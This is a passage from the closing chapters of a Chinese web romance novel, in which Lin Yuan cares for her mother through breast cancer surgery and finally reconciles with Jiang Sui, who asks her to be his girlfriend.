“为什么非得要让他们一眼直白地看懂?”江随笑了笑,“如果游戏体验和画面,可以精彩到叫他们不由自主玩下去,又因为想了解剧情,不得不去查阅故事背景,那我们目的不就达到了吗?” “我始终觉得,一代人有一代人的使命。我们这一代人,已经不需要冲锋陷阵,也极少要忍苦耐劳。既然有这样好的环境和平台,我们何不向世界讲好一个中国故事?文化输出,是个动词,光靠想,是办不到的。” 画面里,男人语气平和而认真,没有话事人咄咄逼人的命令,也没有上位者高高在上的独断,却莫名叫人动容与信服。 世人逐利,无可厚 非,但在此基础上,又能追求点儿个人价值,很少有人会抗拒。 男人最后,又玩笑似的,自信而张扬道:“再说,让他们猜一猜,这一段剧情,体现了作者怎样的心理状态,不好吗?” 众人笑起来。 程林没有再提出异议,会议顺利进行,直到结束,画面跳停。 林鸢没有立刻出去,她垂着眼,下意识想到了从前。 如果说江随叫她补习英语,是为了顾及她的自尊,又想叫她过得轻松些,那当年的语文老师叫她给江随讲讲阅读理解,就真的是她义务劳动了。 她始终记得那次月考,江随一个选择都没蒙对的阅读理解卷子。 “你想一想,这句话,”林鸢在试卷文章上划线,仔细陪他一道审题,“体现了作者怎样的心理状态。” “嗯?”少年扬眉,没听懂般。 “就是他在想什么。”林鸢语气都开始着急。 他懒懒散散往椅子里一靠,没骨头似的,却直勾勾看着她:“我怎么知道她在想什么。” 男孩子那双漆黑微扬的桃花眼,无言却含情般。林鸢脸都热起来,只好用生气来掩饰:“江随,你到底要不要听!” 江随看着她,没腔没调地笑起来,细碎笑声漾在胸腔里,不咸不淡地问她:“我给你讲数学题的时候,也是这么没耐心的?” ………… 林鸢还记得自己当时气弱的模样,不由自主笑了笑。 毕竟江随在这方面,对她真的有超出常人的耐心。 其实年少时的她,曾经无数次幻想过,未来的江随,会是什么模样。 他们两个……又会怎样。 可无论他们之间变得如何,此刻,和她一墙之隔的江随,成熟、笃定、敏锐、出色。 她忽然觉得,真好。 那个耀眼的少年,从未被时光磨去光芒- 除夕那晚,林鸢不知道江随是想露一手,还是真的想叫俩人吃得好一点儿,他连椒盐小排这么复杂的菜,都做上了。 狭小的厨房间里,热气氤氲,林鸢也不想在这样无处可去的夜晚再沉迷工作,江随开始动工的时候,她便也一起帮忙。 砂锅里咕嘟着滑肉汤,江随闲聊般,状似无意地问起:“这两年,怎么没再尝试恋爱?” 林鸢摘豌豆尖的手一顿,默了两秒,直言不讳道:“被很好的人喜欢过,要求总会变高的。” 江随处理小排的手都僵了瞬。 一阵涩麻从指尖蔓延到心脏,又皱缩得他胸腔里闷痛阵阵。 那个很好的人,总归不会是在说他。 一定是冰冻过的食材,冷到了他的手指。 江随闷不吭声,一刀剁下去,砧板上的小排活了似的蹦了蹦。 又一刀,小排起舞。 林鸢也不知道为什么,忽然就有些想笑。 可能是昨天工作时的江随,太成熟稳重了,和此刻拿小排出气,浑身上下散发着点儿幼稚小男生意味的人,仿佛不是同一个。 她忍不住微微偏垂开脑袋,抿住唇角,手上动作没停,无声缓了会儿情绪。 其实江随来的那晚,她看见他发烧,也是有些害怕的。 她虽然嘴上说,让他相信科学,可这种事,哪有万无一失。 她那时不由自主地祈祷,祈祷他不要有事,只要他平平安安,其实许多事……都可以商量。 可他现在活得如此朝气蓬勃,况且,她也没指名道姓拜了哪路神仙,没人知道,那这件事,就当算了吧。 晚饭时,谁也没提要喝酒。 林鸢热了两瓶豆奶,给了江随一瓶。 电视里,放着防止俩人再次聊起别扭话题,背景音般的春晚。 林鸢突然觉得这样,其实也挺好。像不用说话,也并不觉得尴尬的老朋友。 直到吃完了年夜饭,收拾好碗筷,江随从行李箱里,拿出一盒仙女棒。 “玩会儿?”他问她。 林鸢一顿,脑子里蓦地闪过一些画面。 江随见她怔愣模样,便有些了然。那阵酸涩与羡慕,混杂着本能的嫉妒,与始终不曾消散的愧悔,让他极度不是滋味。 可他还是笑了笑,温声道:“那些记忆,应该很美好吧?那又何必为了逃避,丢了自己的喜好和乐趣。” 林鸢有些呆住,盯着他手里的纸盒,许久,伸出手:“玩的。” 阳台上,暖黄色的火花在夜色里,不伤人地炸燃。 “阿鸢。”他轻声叫她,低磁的嗓音,带着点儿温柔的沙哑,偏头看着她,“新年快乐。” 林鸢微微愣住,却和刚刚一样,不敢去看他。 因为她清楚地感知到,心脏有一丝异样的酸软。 她不知道为什么,喉间也有些发哽,盯着那簇花火,在这个安静的除夕,低声道:“新年快乐。”- 林鸢是在年初二的上午,收到的小区解禁通知。 业主里有人向相关部门投诉反应,小区物业一刀切,其实他们按规定,并不需要只进不出全封闭。 江随昨晚在阳台上,冷飕飕地和不知道谁打了小半天电话,似乎是拜托人什么事情,林鸢没有问。 这会儿,江随没了留下的理由,便主动说要回去。林鸢想,可能也和那通电话有关。 好几天没出门,林鸢也想下去走走,便客气道:“送送你吧。” 玄关处,江随却说:“我先走,你再下去。”顿了瞬,“你不是有同事也在这个小区?我怕别人看见了误会……我们是什么奇怪的关系。” 林鸢眨了下眼,结合那天视频会议,江随刻意避嫌的行为,脑子里不着四六的想法儿又冒了出来。 难道正常剧本,不该是俩人开着视频会议,她莫名其妙出了点儿小状况,江随破门而入,俩人同时出现在视频画面里。 然后,开会的人都炸了。 或者今天她送江随下楼,被同事看见。同事拍了俩人难分难舍——其实只是错位的照片,扔到除她之外的公司群里。 然后:全公司都炸了。 但江随却说,担心被别人看见。 不是林鸢普信,可江随来这里的目的,不就是…… “你我都办法否认,这个社会对女性就是不那么公平。”江随轻吁了口,有些无奈地解释,“你的天赋,你的努力,这两年在这个行业的成绩,可能就因为我莫名其妙的出现,就被人认为,这一切不是你该得的,都是你走了捷径。” 他望着她,神色认真,“阿鸢,我不想这样。” 林鸢有些怔愣地看着他,胸腔里忽然涌起一阵酸楚。 她想起初三暑假那年的事。如果不是隔了那么多年,不得不提起,或许江随这辈子都不会告诉自己,他做了什么。 他一路奔波来看她,陪她过年。 在不明确自己到底是普通低烧,还是这场流感的时候,又准备默不作声地离开。 他叫她不要因为逃避美好的回忆,就放弃自己的喜好,放弃追逐乐趣。 可又在现在说,不要让人家误会,他们有什么奇奇怪怪的关系。 她当然能察觉除出他的心意,他的试探。 他如果只是一味地进攻,她或许还能毫不犹豫地拒绝。 可他时不时进到她的生活范围里,又在下一刻,退到让她觉得安全的距离,反倒叫她,有些无所适从。 林鸢看着他那张……很少有人能拒绝的脸,有些无奈地问:“江随,你到底……想怎么样呢?” 江随微愣。 或许是那天晚上,林鸢那句“我不会走的”,给了他莫大的勇气。 江随盯着她,弯起唇,忽然道:“阿鸢,你不要多想,也不用替我难过。其实……我只是有些贪心。” “我知道许多事情,你还没办法放下。”他说这句话时,依旧有些艰难,“可我还是希望,有一天,可以正大光明站在你身边。” “因为,”眼前男人,笑意温柔而坚定,眉目间,却又有年少时的张扬与恣肆,笃声同她说,“我想要爱你。也想你爱我。” 林鸢心脏猛地一颤。 动了动唇,却一下子说不出话来。 她仿佛,总会被这样直白的表达打动。 可又明白自己如今的状态,并不能心安理得地接受江随。 睫毛轻颤,她下意识想避开他灼灼的目光,却又强迫自己看着他,轻声问:“江随,你有没有想过,先爱你自己呢?” 江随蓦地一滞,有些茫然地看着她。 片刻,他好像忽然有些明白了林鸢的意思。 在他们两个十多年的这段感情里,患得患失的,从来都不止是林鸢。 他从前逃避,不敢面对自己的心意,后来,又变得卑微而偏执。 这些何尝不是因为……他觉得自己不够好,不值得被爱。 或许正如林鸢所说,一个人只有真正地肯定自己,爱自己,才能有强大的能力,去妥帖地爱另一个人。 而不是靠强求与毫无底线的退让,去留住一个人。 江随忽然有些眼涩,他弯起唇,向她说:“阿鸢,我们还年轻,还有很长的时间,我们都会变得更好的。” 林鸢抿住唇,轻轻捏了捏垂在身侧的指节。 “但你有没有想过,”江随看着她,仿佛伸出无形的手,撩拨着她心底的枷锁,“心安理得地接受别人对你好呢?” 林鸢一愣。 江随知道她有犹豫,有动摇,可也仍还没放下过去。因为她没办法心安理得地靠近他。 就像从前,因为林叔叔,她也会觉得自己,不可以安然地幸福。 不管是谁,对她好一点,她总要想着回以对等的情感或物质。甚至将本不该她背负的责任,揽到自己身上。 或许从林叔叔离开的那一刻开始,眼前的女孩子,就从没有真正轻松地活过。 她叫他先爱自己,可她又何尝好好地,全然地爱过自己。 江随有些难受,却仍翘起唇角,微歪头看着她,像年少时那样,笑得玩世不恭,又带着低磁轻哑的蛊惑,向她说:“不用想着回馈,不用想着对等,不用想着,你是不是不该得到这些,只需要习惯,坦然地接受我对你好。” 第66章 第 66 章 “我不知道,你还会不会…… 林鸢那天并没有回答江随。 她承认, 那是个她有些想逃避的话题。 林鸢觉得自己的心态,其实也挺微妙的。就仿佛一对分手的情侣,那个曾经一路磕磕绊绊, 陪着另一半成长的女人, 一转身, 终于发现对方成了你需要的模样。 也不是毫不心动, 可她却心有旁骛, 没办法踏出那步去接受。 虽然他们之间的关系, 从来都别扭得无法准确定义。就算待在一起的几个月,也算不得情侣。 林鸢突然觉得自己现在这样的状态, 有点儿像从前的江随。 不主动, 不拒绝,不负责。 想到这个层面的时候, 林鸢都惊了下。 没想到她还有当渣女的潜质呢。 晚上, 再次躺在被窝里, 又想到这个问题的林鸢悻悻地一扯被子,将自己的脑袋严严实实盖住。 闷了得有两分钟, 终于热得受不了,诈尸似的一把掀开。 长长叹了口,林鸢无奈道:“林鸢啊林鸢, 真是学好不容易, 学坏一出溜。” 开春,这场全国范围内的流感, 很快得到了有效控制, 一切似乎又在平缓有序地朝前流淌,直到有一晚,林鸢接到个北城来的电话。 竟是曾友安。 “林鸢, 你这个做女儿的到底怎么回事?”电话里,曾友安劈头盖脸就是一顿谴责,“自己躲在锦城不回来就行了吗?小丹怀孕,我爸身体又不好,你亲妈生病了住院你都不回来,你指望别人替你尽孝呢?” 林鸢猛地一滞:“我妈怎么了?”- 林鸢请假,买了第二天最早的一班飞机,赶到医院,找到肿瘤科病房。 曾友安说,郑敏确诊了乳腺癌,已经做过一次化疗。 医生正在查房,林鸢站在门口,看见郑敏斜靠在床头,曾湛英坐在床边。 病床上的女人好像瘦了些,没什么精神。她本来就很白,此刻病房里冷白色的顶灯照着,让林鸢喉间哽意更甚。 她甚至有种不敢往前的惶恐,可还是忍不住喊了声:“妈妈。” 病房里蓦地一静。 郑敏起初愣了瞬,低喃似的:“鸢鸢?” 林鸢走过去,胀着眼眶,冲她笑了笑。 郑敏张了张嘴,伸手。 握住女儿冰凉手指的那刻,才确信数千公里外,唯一的亲人回来了。 可她却来不及高兴。 从没向父子俩发过脾气的女人,头一次,寒着脸孔,一字一顿地问坐在病床前的曾湛英:“是谁,打电话给鸢鸢的?” 曾湛英虚了瞬眼神,解释道:“这么大的事,总要让她知道的。” 郑敏克制着不知道是因为生气,还是不舒服的微微颤抖,问他:“是你不能签字吗?还是护工不能照顾我?为什么非得,叫她回来。” 大概是对医院里的人生百态看多了,这样小波小澜的争执,都算不得什么,查房的医生扫了这家人一眼,很平淡地说:“家属决定下,谁来签这个字,手术时间可以尽早安排。” 林鸢在电话里问过曾友安,结果自然是一问三不知,除了知道郑敏确诊乳腺癌,需要手术和人照顾,其它的病情情况,他都不清楚。 林鸢想问问医生情况,却听原本还躲闪装死的曾湛英,听完这句话终于有了反应,再次坚持问医生:“能不切吗?保守治疗。” 医生有些不耐烦了,冲曾湛英道:“你这人怎么说不听呢?都说了现在浸润性无扩散,全切是最安全最合适的方案。” 曾湛英皱眉,下意识说:“那样还是个女人吗?” 林鸢脑袋嗡地一声,眯了瞬眼睛,死死看着他。 隔壁床的阿姨都忍不住嗤了声。 “好看重要还是命重要?!”医生本来就有些烦这个男的,此刻更是有些压不住火气。 亏得这家属还是高学历高职称,果然愚昧封建不分职业学历。 而一直没听到郑敏出声的林鸢,却忽然有些害怕起来。她害怕郑敏和从前一样,什么都听曾湛英的。 她忍不住看向她,捏紧她手,哽着嗓子祈求道:“妈妈……” “曾湛英,”病床上瘦小的女人,突然平静开口,对坐在她床边的男人说,“我们离婚吧。” 男人愣住。 郑敏没去看他,转头向医生说:“秦医生,麻烦您了,我的手术,我女儿签字就好。” 立在一侧的林鸢,身侧紧握的拳,终于慢慢松开。 “曾教授,麻烦您出去。”她看向那位,还坐在凳子上不动如松的男人,平淡道,“这里不需要你。” 只剩下三个女人的病房里。 “什么中早期,二级,医生说的我也不太懂。”郑敏本就温和的声音,此刻仍笑着,安慰她,“但是鸢鸢你别担心,医生说,做个左侧全切就可以,问题不大的。” 林鸢坐在她身边,想笑一笑的,却最终只能小声问:“你生病了,怎么不告诉我?” “是我让他们不要和你说的。”郑敏声音有些哑,愧歉道,“鸢鸢,妈妈帮不了你什么。可也真的……没想过要拖你后腿。” 林鸢喉间一哽。 “这个毛病如果家里没有遗传,就是被他们男人气出来的。”同病房的阿姨在一旁忿忿道,“小姑娘我跟你说哦,你没来的时候,那俩父子来了都是当大爷的,恨不得还叫你妈妈伺候他们呢。” 郑敏冲她感激地笑笑。 刚化疗完的那天,她想喝水,曾湛英睡得太熟,还是隔壁床的大姐帮的她。 “鸢鸢,”郑敏转头,像考虑了很久,向她说 ,“可能是生这场病,叫我想通了。从前觉得,为了让你有个好点的生活环境,我吃点苦,没什么。毕竟我能做的,好像也就是做个家庭主妇。” “可如果,你觉得并不开心,那我……坚持那么多年,到底是为了你好,还是在感动自己?” “鸢鸢,你不要笑话妈妈。”郑敏捏了捏她的手,像林鸢小时候那样,有些轻松地问她,“妈妈也才53岁,也想变得更好。不知道,还来不来得及?” 林鸢鼻腔发酸,她忽然觉得,她这个女儿做的,是这样不称职。 离开的这两年多,她很少主动打电话给郑敏,似乎还怄着当初的一口气。 其实郑敏,又何尝不是在向她服软。 曾经那样希望女儿找个人恋爱、结婚,觉得那样就会有人照顾她的女人,在她离开那个“家”后,再也不敢在她面前提起这方面的任何。 她又岂非不明白,一个人要跳出从前既有的小世界,是很难的一件事。 生在那样重男轻女的家庭,从未被人重视过,只觉得一味付出,就能得到关注与爱。 每个人,都有不敢面对的伤口,想改变,又被曾经的牢框束缚,不敢向前。 郑敏的软弱是真,可对她的爱,也从来没有求过任何回报。 温暖干燥,又有些粗糙的手掌覆盖住她指背。 “妈妈,没事的。我以后……”林鸢回握住她手,笑了笑,“不走了。我们还在一起。”- 林鸢很快接到江随的电话。 “你回北城了?”电话里,男人问她。 林鸢并不意外。她请了假,还有工作没做完,江随随便一问,程林就会向他说。 “嗯。我妈妈,”林鸢想了想,直接道,“生病了。乳腺癌。” “我可能,暂时不会回锦城了。”北城的医疗条件最好,她也问过医生,术后还需要化疗、复查。如果她们母女以后还准备离开,那也是很久之后的事了。 电话那头猛地一顿。 “我……”江随滞了滞,还是轻声问她,“过来找你,好吗?” 林鸢鼻尖忽然有些酸,拒绝的话无从出口,于是她点点头,轻声道:“好。” 江随到了医院,郑敏正在休息,他没有打扰。 只留下一些问过医生后,确信可以吃的营养品,出了病房。 走廊尽头,江随忍不住问林鸢:“阿姨的费用……” 林鸢打断他:“别担心,我工作之后,就替她交了医保,也买了商业险,我还有存款,没问题的。” 江随顿了片刻,点点头,又问:“病房需要我……” 林鸢笑起来:“一个人也很无聊的,我妈妈和那个阿姨挺聊得来,不用换病房了。” 江随默了片刻,静静地看着她,忽然温和而坚持道:“阿鸢,我知道没有我,你也能做得很好。但我还是想陪着你。” “至少是现在,可以吗?” 林鸢微微愣住。 其实从听到郑敏得了乳腺癌的消息开始,她始终有种不太真实的感受。又仿佛一直憋着口气。 因为她明白,她依靠不了任何人。母亲生病这件事,是她天然要承担的责任和义务。接下去的许多事,都是必须由她来做的。 但此刻看见江随,听见他这样向她说,她也不知道为什么,那口气就忽然泄了下去。 她忽然就很难过,也很想哭。 “江随,我只有这一个亲人了。”她想努力弯起唇角,眼泪却不由自主地滚落,又不愿意哭出声。她明白此刻自己这样,一定比光哭更难看,可就是想向江随说,“我不要没有妈妈。我也不要……我爱的人都离开我。” 江随从没见过她如此无助茫然的模样。 即使俩人针锋相对的那段日子,即便她流过眼泪,更多的也只是对他的怨恨。 那依旧是一个傲然又坚硬的女孩子。 可此刻,她却无措地像个孩子。 哽着声,哭着向他说:我不要没有妈妈。 江随心脏像被人狠狠攥住,窒痛得透不过气来。 “别怕,不会有事的。你没有听医生说吗?早中期,手术及时,就是幸运的事。” “再说,谁说你没有亲人了?”他轻轻向前,温热掌心扣在她肩膀上,“我难道,不能算你的朋友,你的亲人吗?” “我也不会离开你。即便……”他低头,很轻地抱住她,小心翼翼,在她发心上吻了下,低声道,“我不知道,你还会不会爱我。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 第67章【正文完】 第67章 正文完 * “林鸢,谈恋爱吗…… 或许是怕手术后的郑敏, 需要人照顾,又或是怕郑敏那天只是说气话,到时候又拿着生病这件事, 不愿意离婚。曾湛英从答应离婚, 到和郑敏一道去签字办手续, 一切流程都快得仿佛在赶时间。 一个月冷静期满后, 双方顺利拿到离婚证书。 林鸢有些不是滋味, 也有些惘然。 或许这个世间大多数的男人, 需要一个妻子,从来都不是因为爱。 而只是……她们作为一个女人, 可以带来性, 带来子嗣,带来免费又好用的劳动资源。 如果失去了这一切, 婚姻似乎就完全没了存续下去的必要。 一个同床共枕十四年的女人, 对他们来说, 也不过随时可以是个陌生人。 郑敏术后出院,林鸢将她接到自己租的一套两室一厅里。 林鸢严格按照医嘱, 也加了医院历年的病友群,看见许多女性术后十几年,依旧活得健康美丽, 那份担心失去亲人的惶恐, 终于在郑敏不错的精神状态下,渐渐平复。 林鸢向程林说明情况, 抽空回锦城办了离职手续。 不过极乐的外包项目, 有一部分还是让她继续接手,只是薪资分配和从前不同。 原以为日子已然平顺的林鸢,却被北城一家p2p公司爆雷的消息, 刷了好几天的屏。 林鸢竟然并不陌生。 是当年和她相亲的,那位易先生的公司。自然也是曾友安的老板。 而在各大社交平台上爆火的,却是曾友安这位员工。 起初,是无数的投资人涌向那家公司挤兑,自然是得不到承诺中的兑付。 于是当初领了高额返点的员工,自然成为了围堵目标。 只是一开始,曾友安的卖惨视频,却得到了不少网友的同情。 画面里,他声泪俱下,控诉易先生携款潜逃,而他这样的普通老百姓,不仅拿了家中唯一的住房抵押,还借了爷爷奶奶的棺材本,悉数投资了公司标的。 而他怀孕的妻子,也在得知家中巨变后,打了胎,要和他离婚。 可不过一日,就有公司前同事出来,锤他当初如何拿着高额返点花天酒地,怎么当易先生的狗腿子,又在妻子孕期出轨嫖。娼。 辣眼小视频广为流传,猥琐至极。 网友是什么角色?那就是平时看着或许是个正常人,但一旦隔了道网线,你敢让我白白付出同情,我就敢在反转的时候狠狠落井下石。 而连带着,曾湛英也被爆出,在妻子患癌的第一时间,这个被妻子悉心照顾了14年的男人,为了逃避责任和义务,选择了离婚。 一位道貌岸然的“教授”,自然也成了茶余饭后的谈资。 林鸢突然有点儿好奇,不知道这位向来将面子看得比什么都重的前继父,以后在单位领导和同事面前,要怎么好好表现。 不过,这样轰轰烈烈的手笔……林鸢不知道为什么,莫名就想到那张玩世不恭的脸。 她看着手机上的消息,垂眼笑了笑。 这之后没多久,林鸢忽然收到李想转交给她的一个小包裹。 拿着那只小纸盒,林鸢坐在小区楼下长椅上,过了很久很久,终于打开。 里面有一封装好的信,还有一只毛毡玩偶。 一只橘色的,小半个手掌大,用略粗硬的猫毛,做成的小玩偶。 林鸢不知道自己此刻,到底是什么感受。 她只 知道,在这个春夜里,她握着这只橘黄色的小毛毡,还没开始看那封信,就已经泪如雨下- 郑敏手术后,每次去医院化疗,江随都坚持陪她们一道去。 其它的事,林鸢都会委婉地拒绝,但这件,她并没有。 最后一次化疗结束,林鸢说,请他吃顿饭。 没有新意,却热气腾腾的火锅。 结束后,江随将她送回小区,站在她家楼下时,林鸢抬头看向他。 “江随,谢谢你。” “但,对不起,我没办法骗你。就像你想的那样,我……”林鸢有些艰难地扯了扯唇角,“没办法独自向前走,没办法心安理得地,自己幸福。所以……对不起。” 林鸢说完,喉间有些发哽。 她知道自己此刻,再一次明确地拒绝江随,意味着什么。 或许今后,她再也不会遇见叫自己心动的人。 她不知道……顾淮何时会找到属于他自己的幸福。 可她总不好叫江随,也和她一样等下去。 又或者,在很久以后,顾淮也有了喜欢的人,但江随身边,却已经站了别人。 她想,她也会羡慕,也会后悔吧。后悔现在,没有自私一点。 可一切预见,不过是假设,都敌不过如今,她依旧不能毫无心理负担地接受江随。她办不到。 冬夜的风,萧瑟索然,微撩起她侧颊碎发。路灯下的女孩子,傲然而坚定,又始终套着柔软的壳。 江随无言,弯唇看着她,忽然很想做一件事。 她头发长得很快,三年的时间,都已经快长成初见时模样。 这样寒冷的夜里,她没有将长发扎起来,于是他伸出手。 林鸢愣愣地站在原地,看着他修长指节微屈,滞在半空,悬在她头顶。 她一下就有些,不忍心躲开。 心底酸软温漾,江随落手,掌心覆上她发顶,轻轻揉了揉,只觉得有些眼热。 他不由自主地想,这样一个简单的触碰,他好像也等了很久很久。 但他还是做到了,不是吗? 所以…… “傻子。”男人漆黑潮润的桃花眼微弯,话音有点儿懒散嫌弃的意味,却低声向她说,“我们还有那么长的时间,我可以等你啊。” 余生足够漫长,我只想陪你过无数个冬夜- 开春时郑敏的复查,仍是江随陪她一道去的。 郑敏术后恢复得很好,这次又遇上了先前住院时的阿姨。 俩人出院后也有联系,一起吃过几回饭,这次干脆拉着她一道去给秦医生送锦旗。 也不知道是哪里听来的,说是要从门口一路问到科室,叫全医院的人都知道,这样锦旗才送得有意义,于是郑敏就这样被阿姨征用了。 林鸢有些好笑,也欣喜于郑敏终于在北城交到了朋友,于是便和江随一道,坐在医院小花园的长椅上等她们。 没有带水,林鸢有些渴,看见路人喝的玻璃瓶汽水,就多看了两眼。江随站起来,说他去买两瓶水。 江随走后没多久,林鸢余光瞥见不远处的一家三口。 穿着白衬衣的年轻父亲,抱着个似乎刚满周岁的小女孩儿,耐心地哄着。 “打完针,是不是不觉得头痛了?”那样熟悉的声音,带着点儿凉淡的温和,又有显而易见的逗趣,“因为疼痛转移了呀。” “你就哄她吧,这么点儿大的孩子,被你宠得没边儿。话都说不明白,就知道缠着大人要解释了。”男人身旁的年轻女孩儿嗔怪道。 小女孩儿却明显很吃这一套,糯糯地说着叠词:“屁屁,痛。” 林鸢讷讷地坐在长椅上,脑子有片刻的空白。她一下想起,顾淮给她的那封信。 浅黄色的信笺上,这样写道—— 阿鸢: 黄条子拥有了下辈子,选择继续做个快乐小猫,还是变成小朋友的机会。 你放心,它是在睡梦里离开的。 连顾小明那样警觉的哥哥,都没发现窝在它身边熟睡的小弟弟,其实已经去了喵星。 这个毛毡,留给你做个纪念。 这好像……是我第一次给女孩子,也是第一次给你写信。 你知道的,我成绩向来不算好,倒不知道这样正式的方式,到底该说些什么。 我想了很久,觉得还是应该告诉你,如果将来有一天,我们在路面街角偶遇,如果你看见,我身边站了别的姑娘,如果有一天,你听说我结了婚,有了家,那不会是因为年龄到了,不会是因为将就凑合。 你一定要放心,那必然是因为,我又遇见了叫我心动的姑娘。 因为你说过,我是个很好的人。 而你也要相信,你曾经,没有喜欢错人。 所以,再见,阿鸢。 这次,我是真的要朝前走了。 哦,对了。 我曾经在西塔寺那株古槐的祈愿牌上,见过一句祷词,也送给你,愿你: 康宁喜乐,长命百岁。 ………… 江随纸巾递于她面前时,林鸢才察觉,她早已泪流满面。 可她却仍有心思笑一笑,接过他纸巾,向他说:“谢谢。” 江随什么也没说,拿着汽水,在她身旁坐下,插好吸管,递给她一瓶。 北城还未入夏的午后,风是这样和煦干燥,带着细微暖意,江随胸腔里却翻涌起细细密密的涩然。 林鸢眯了眯眼睛,看见树影间明亮而模糊的光斑。 沁甜微凉,带着些许辣意的汽水灌进喉管,林鸢想,又一年的夏天,要来了吧- “哥,我不明白,你为什么要帮他啊?”远处,已经拐过墙角的女孩子,不太服气地问身边男人。 顾淮看了她一眼,淡笑了声:“与其说是帮他,不如说……是在帮我自己。” “你去找鸢姐姐,你们重新在一起,我想她会同意的。” 男人垂了下眼睫。 的确是江随先来找他的。 他问江随,有没有后悔过,当初用那样的方式,叫他们选择分开。 毕竟连他自己都没料到,原来两个人在最喜欢对方的时候分开,是这样难往前走的。 江随却说:“不后悔。” “至少现在,她仍愿意相信爱情不是吗?而不是在婚姻里,被各种琐事慢慢消磨掉爱意。” 那个男人,还和从前一样不要脸,坦然地向他说:“我知道阿姨并不看好阿鸢,你那时也没什么事业心。那你们结婚之后,叔叔阿姨对林鸢的工作,会抱有什么样的态度?我能肯定的是,她对酒店管理没兴趣。” “撇开事业上的事不谈,单拿怀孕生子这件事来说,叔叔阿姨当年怀你很难吧?如果林鸢不愿意早生,或干脆不愿意生,或是不能生,你到时候又要怎么选择?” “我很羡慕你。可有时候又觉得,因为你们有太多的牵绊,所以有太多的顾虑。” “许多现实的问题,不是光靠爱就能解决的,反倒会消耗它。可这些问题在我这里,都不是问题。” “顾淮,如果你觉得你也可以,何不重新追她一次。” ………… “在还有机会的时候,我没有能力……”话音微顿,顾淮弯了弯唇,没再说下去,重新用胳膊垫了下往下滑的小胖子。 “舅舅,闪闪,”小女孩儿眨巴着漆黑圆润的眼睛,抠了抠他衬衣袖口的袖扣,“送我。” 顾淮笑起来,抱着她向前走,又忍不住伸出手,重重揉了揉她脑袋,却说:“不可以,因为……这是舅舅的礼物。” 阿鸢,你值得独一无二,坚定的选择。 所以这次……是真的要说再见了- 江随在这一年高考前夜,邀请她去李想家的游乐园玩儿。 新开发的主题园区,和极乐游戏有合作。 林鸢如今也戏称自己,算是极乐的庶员工了。 江随也问过她,要不要干脆去极乐工作,林鸢没应,说她有自己的节奏。 但去主题园区,看下她笔下的某一画面,成为实物,林鸢还是挺有兴趣的。 从那处依托神话故事里龙腾形象的过山车上下来,连林鸢这样热爱游乐园的人, 都有些腿软。 她缓了会儿,将坐过山车前,害怕长发乱飞随手扎的低马尾解开,黑色皮筋重新退到手腕上。 正准备走,却被江随叫住:“等会儿。” “嗯?”林鸢纳闷。 男人从长裤口袋里抽手,指尖一只毛绒绒的小发夹。 林鸢骤然愣住。 当年那只,连她自己都已经遗忘的发卡,仿佛穿过时光,又回到了那个傍晚。 他们从过山车上下来,他耐心细致地替她整理头发,然后将她一缕额发,轻轻别住。 随后微退开,翘起唇角看着她,低声道:“好了。” 林鸢看着眼前即将而立之年的男人,白色衬衣,漆黑如墨的发,除开添了两分成熟的气韵,仍和年少时一样明亮耀眼。 明明仿佛对任何事都漫不经心,却又总有游刃有余的笃定。 她看着他,喉间忽然涌起哽意。 “江随,我恨死你了。”她这样说。 “我真的,”又忽然有些说不下去,眼前被模糊的热意覆盖。她一下低头,将额头重重抵到到心口,任由眼泪流下来,咬牙道,“恨死你了……” 深深抽噎的女孩子,狠狠捶了他肋骨一拳,忿忿道:“你到底为什么,能这么讨厌啊?” 江随红着眼,抱住她,翘着唇角,任由她将这么多年来的一切,尽情发泄。 林鸢将曾经所有的委屈、不甘、怨恨,后来难言的心动、感激与犹豫,都化在这场痛快淋漓的哭泣里。 这个男人,面对她的喜欢,逃避过、拒绝过。对待她的新生活,破坏过、伤害过。 但他又不可磨灭地,在她最需要爱与尊严的青春期,妥帖地维护过她的敏感、自尊与脆弱。 又在她无数次需要支持与陪伴的软弱瞬间,坚定而有力地站在她身旁。 她之前不知道自己,还能不能和他在一起。 因为那些曾经存在过的喜欢和怨恨,像缠绞在树干上的寄生植物,互相排斥,又互相吸取养分。 紧紧生长进血肉里。 她不得不承认,无论何时想起那些曾经,胸腔里的那颗心脏,依旧会又酸又软。 可人似乎只有在毫无退路的时候才会选择后悔。 就如同郑敏生病后她害怕失去。 她不想后悔,也不想江随成为她的妥协。 但这一刻,她突然觉得,或许,一切都可以过去了。 而她身后铺天的夕照,流淌开浓稠的橙黄,一如年少时,他心动得那样匆忙又决然。 江随忽然不想再等太阳落山,也不想等烟火升空。 所有的仪式,都不及兜兜转转,你我依旧站在彼此面前。 但这次,换我来问你。 于是他捧起她脸,一如她记忆中张扬恣肆的少年。 “林鸢,谈恋爱吗?和我。” ——正文完——魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m